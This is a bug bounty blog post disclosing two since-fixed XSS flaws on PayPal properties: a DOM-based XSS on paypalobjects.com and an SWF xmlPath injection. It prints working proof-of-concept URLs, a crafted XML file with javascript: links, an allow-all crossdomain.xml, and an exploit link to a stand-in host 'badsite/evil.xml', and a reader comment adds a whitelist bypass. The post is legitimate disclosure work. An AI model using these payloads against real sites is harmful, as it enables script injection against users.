Wednesday, 12 March 2014

Paypal xmlPath SWF XSS and DOM Based XSS

Back in November 2012 I reported two XSS issues to Paypal, one was a vulnerable SWF on personal.paypal.com and the other was a DOM XSS in paypalobjects.com.

It's taken months and months but with the issues now fixed I wanted to finally publish this post. Enjoy!


Iframe Src XSS

While poking around Paypal I came across a help files section. Straight away my bounty hunter senses started tingling as the site looked pretty old and poorly designed. After a quick parse with Dominator it detected a really simple DOM based XSS issue:


The page contained Javascript that would write the location hash value directly into an iframe source without any kind of filtering.


To exploit you'd just use the following:

https://www.paypalobjects.com/en_US/vhelp/paypalregistration_help/paypalregistration_help.htm#javascript:alert(1)

Because paypalobjects was a separate domain to the main Paypal site there was no way to access session data/launch attacks from the main Paypal domain. And for phishing paypalobjects is a really unconvincing name so I'd argue this was relatively low risk issue.


Playing with SWFs

Knowing how easy it can be to exploit SWF's I did some Googling and went through the SWF files Paypal were using. After analyzing a few I found a SWF that used a remote xml file to define the links used within the page.

https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.xml

The SWF started by loading the xmlPath variable (included in the URL). If no path was supplied a default was used instead.

Next the path was checked using the isDomainEnabled function.

In the code below you can see how url.indexOf is used to test for the presence of http or www, 4294967295 is returned if the string is not found. If http:// is not found and www is found then our URL is checked to see if it matches a domain whitelist or not. The logic here is just messy and easy to evade using https instead of http in the xmlPath.


Once past this check, myXML.load(path) completes and now within the button onPress event the getURL will be performed on our xml values.

The real Paypal xml file looked like this:

<links>
<link uri="https://personal.paypal.com/il/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_il/PayPal_FAQ"/>
<link uri="http://www.youtube.com/watch?v=UsOTILPwegg"/>
</links>

I created my own xml file and added javascript for links.

<links>
<link uri="javascript:alert(1)"/>
<link uri="javascript:alert(1)"/>
</links>

And created a crossdomain.xml that allows all, so the swf could access my xml file.

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

Now to exploit our Paypal user all we do is send a link pointing to our xml file:

https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=https://badsite/evil.xml

And if the user clicks any of the buttons they get pwned:




Final Thoughts

I wasn't the first person to report either of these issues and they've been on the site so long I'm sure a lot of bounty hunters have already seen them. Basic coding errors were to blame in both instances and could have been solved by using proper input filtering/whitelisting.

Hope you guys found this post interesting, any questions or feedback, drop a comment below!

Pwndizzle out.

2 comments:

  1. I also reported this and it turned out to be a duplicate(Now I know why).. I bypassed this just by using an IP address with http:// instead of a domain with https:// :-)

    ReplyDelete
  2. Hey Deepankar, thanks for the tip. Because of the poor filtering pretty much anything that didn't start with www. should have worked as a bypass.

    ReplyDelete